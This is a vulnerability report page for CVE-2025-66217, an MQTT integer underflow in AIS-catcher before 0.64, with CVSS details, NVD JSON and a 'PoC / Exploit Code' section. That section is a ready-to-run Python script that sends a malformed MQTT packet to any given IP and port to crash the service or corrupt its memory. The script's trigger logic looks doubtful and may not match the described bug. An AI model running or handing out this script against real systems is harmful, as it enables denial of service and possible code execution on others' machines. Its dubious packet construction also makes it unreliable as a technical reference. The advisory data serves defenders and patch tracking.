Security Vulnerability Report
中文
CVE-2025-66217 CVSS 7.5 HIGH

CVE-2025-66217

Published: 2025-11-29 03:16:00
Last Modified: 2025-12-23 16:10:32

Description

AIS-catcher is a multi-platform AIS receiver. Prior to version 0.64, an integer underflow vulnerability exists in the MQTT parsing logic of AIS-catcher. This vulnerability allows an attacker to trigger a massive Heap Buffer Overflow by sending a malformed MQTT packet with a manipulated Topic Length field. This leads to an immediate Denial of Service (DoS) and, when used as a library, severe Memory Corruption that can be leveraged for Remote Code Execution (RCE). This issue has been patched in version 0.64.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:aiscatcher:ais-catcher:*:*:*:*:*:*:*:* - VULNERABLE
AIS-catcher < 0.64

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66217 PoC - AIS-catcher MQTT Integer Underflow This PoC demonstrates the integer underflow vulnerability in AIS-catcher's MQTT parsing logic. """ import socket import struct import sys def create_malformed_mqtt_packet(): """ Create a malformed MQTT packet with manipulated Topic Length field to trigger integer underflow in AIS-catcher. """ # MQTT Fixed Header packet_type = 0x02 # MQTT PUBLISH packet flags = 0x00 remaining_length = 0 # Will be calculated # Variable Header - Topic Name # Manipulated Topic Length field (set to 0 to trigger underflow) topic_length = 0x0000 # Integer underflow trigger topic_name = b"test/topic" # Packet Identifier (optional for QoS 0) packet_id = b"" # Payload - Malformed data payload = b"A" * 1000 # Large payload to cause buffer overflow # Construct variable header variable_header = struct.pack("!H", topic_length) + topic_name + packet_id # Calculate remaining length remaining_length = len(variable_header) + len(payload) # Construct fixed header fixed_header = bytes([(packet_type << 4) | flags]) # Encode remaining length (MQTT variable length encoding) remaining_length_bytes = bytearray() temp = remaining_length while True: digit = temp % 128 temp //= 128 if temp > 0: digit |= 0x80 remaining_length_bytes.append(digit) if temp == 0: break # Full packet packet = fixed_header + bytes(remaining_length_bytes) + variable_header + payload return packet def exploit(target_ip, target_port=10110): """ Send malformed MQTT packet to target AIS-catcher server. """ try: print(f"[*] Creating malformed MQTT packet...") packet = create_malformed_mqtt_packet() print(f"[*] Packet size: {len(packet)} bytes") print(f"[*] Connecting to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) print(f"[*] Sending malicious packet...") sock.send(packet) print(f"[+] Packet sent successfully") print(f"[!] Target may have crashed or experienced memory corruption") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 10110 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66217", "sourceIdentifier": "[email protected]", "published": "2025-11-29T03:15:59.880", "lastModified": "2025-12-23T16:10:32.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "AIS-catcher is a multi-platform AIS receiver. Prior to version 0.64, an integer underflow vulnerability exists in the MQTT parsing logic of AIS-catcher. This vulnerability allows an attacker to trigger a massive Heap Buffer Overflow by sending a malformed MQTT packet with a manipulated Topic Length field. This leads to an immediate Denial of Service (DoS) and, when used as a library, severe Memory Corruption that can be leveraged for Remote Code Execution (RCE). This issue has been patched in version 0.64."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}, {"lang": "en", "value": "CWE-191"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aiscatcher:ais-catcher:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.64", "matchCriteriaId": "E8EA6A8C-C7AD-44C0-B6B2-E5538A456C68"}]}]}], "references": [{"url": "https://github.com/jvde-github/AIS-catcher/commit/e0f7242eee659909adc11a4c561c3f7011bdefe7", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/jvde-github/AIS-catcher/security/advisories/GHSA-93mj-c8q3-69rg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/jvde-github/AIS-catcher/security/advisories/GHSA-93mj-c8q3-69rg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}